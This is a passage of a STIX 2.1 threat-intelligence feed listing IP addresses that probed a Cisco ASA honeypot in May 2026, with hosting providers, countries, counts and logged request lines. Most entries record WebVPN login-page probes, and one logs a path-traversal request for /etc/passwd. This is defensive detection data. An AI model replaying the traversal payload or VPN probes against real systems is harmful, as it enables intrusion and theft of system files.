      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-04T15:13:32.516Z",
          "last_seen": "2026-05-04T15:13:42.033Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--97062f10-7597-4a24-b4d6-1ab0d8009232",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T15:14:51.311Z",
          "last_seen": "2026-05-09T02:49:01.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--20f688a4-f5ad-4ea0-8986-1aa121aa7240",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.98.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T14:39:09.539Z",
          "last_seen": "2026-05-20T15:33:07.331Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b5e35b46-c5bc-498d-9ef9-ecdf67c2a9a8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.99.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 24,
          "first_seen": "2026-05-04T15:10:42.008Z",
          "last_seen": "2026-05-29T11:20:02.837Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T15:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: NL; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T15:20:10.000Z",
      "valid_until": "2026-06-05T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-04T14:42:04.342Z",
          "last_seen": "2026-05-04T14:42:04.342Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--f463f0d0-fb13-42c7-bed7-a26a42791dc8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T15:39:32.928Z",
          "last_seen": "2026-05-08T01:00:25.425Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--3c38e073-5fb7-48c9-b388-182157edfd51",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-04T16:14:01.449Z",
          "last_seen": "2026-05-30T14:13:53.315Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 21859 (Zenlayer Inc)",
      "id": "indicator--abf1e25e-0e53-40ef-a05c-a8c02614133b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.213.193.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T15:56:52.906Z",
          "last_seen": "2026-05-22T18:50:30.705Z",
          "country": "United States",
          "country_code": "US",
          "asn": 21859,
          "as_org": "Zenlayer Inc",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--8061b4c5-64ff-4bd4-82da-53a00a5fd27e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-04T16:14:02.828Z",
          "last_seen": "2026-05-26T07:39:56.061Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--744568cf-761e-44b3-a84d-dc8fcf380359",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-04T15:48:06.802Z",
          "last_seen": "2026-05-30T04:36:07.814Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--070a5c70-8a40-419e-8bf6-1ec3b380bff4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.88.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 27,
          "first_seen": "2026-05-04T15:58:18.097Z",
          "last_seen": "2026-05-27T15:42:48.336Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a1b6d64a-fee8-4634-86bc-ca4b493a513c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-04T15:42:48.620Z",
          "last_seen": "2026-05-26T15:46:39.138Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e4103fc6-5f7a-4714-a143-2024d8aa8941",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T15:31:13.984Z",
          "last_seen": "2026-05-30T14:16:44.713Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--9b416ccf-be2e-40f8-b356-fa7980e1ff31",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T16:20:11.000Z",
      "valid_until": "2026-06-05T16:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 33,
          "first_seen": "2026-05-04T16:17:16.747Z",
          "last_seen": "2026-05-27T10:26:54.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: JP; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--ad1fe064-e540-4b79-b863-ad7a420201ac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.247.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T16:29:34.424Z",
          "last_seen": "2026-05-27T18:52:55.016Z",
          "country": "Japan",
          "country_code": "JP",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 6233 (xTom)",
      "id": "indicator--20147756-8f81-47c8-b879-1a3d324e7983",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.147.89.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-04T16:32:16.498Z",
          "last_seen": "2026-05-29T09:19:32.391Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6233,
          "as_org": "xTom",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--6fd261d5-a827-40c5-8eed-6942372930e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-04T17:04:07.220Z",
          "last_seen": "2026-05-24T02:42:16.036Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--79d06b14-b824-4f4a-93e5-83deb88378bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-04T17:19:31.627Z",
          "last_seen": "2026-05-25T20:12:56.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--12dfca58-8d45-419c-ace3-1ceb23a638b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.104.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T16:36:17.313Z",
          "last_seen": "2026-05-31T01:32:24.718Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--49af46ab-52aa-4945-9008-ab61564d9d24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T17:20:10.000Z",
      "valid_until": "2026-06-05T17:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-04T17:19:46.126Z",
          "last_seen": "2026-05-04T22:06:06.837Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-04T17:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--2ef2aeac-bf96-433a-bf11-f993c8e6fcdc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
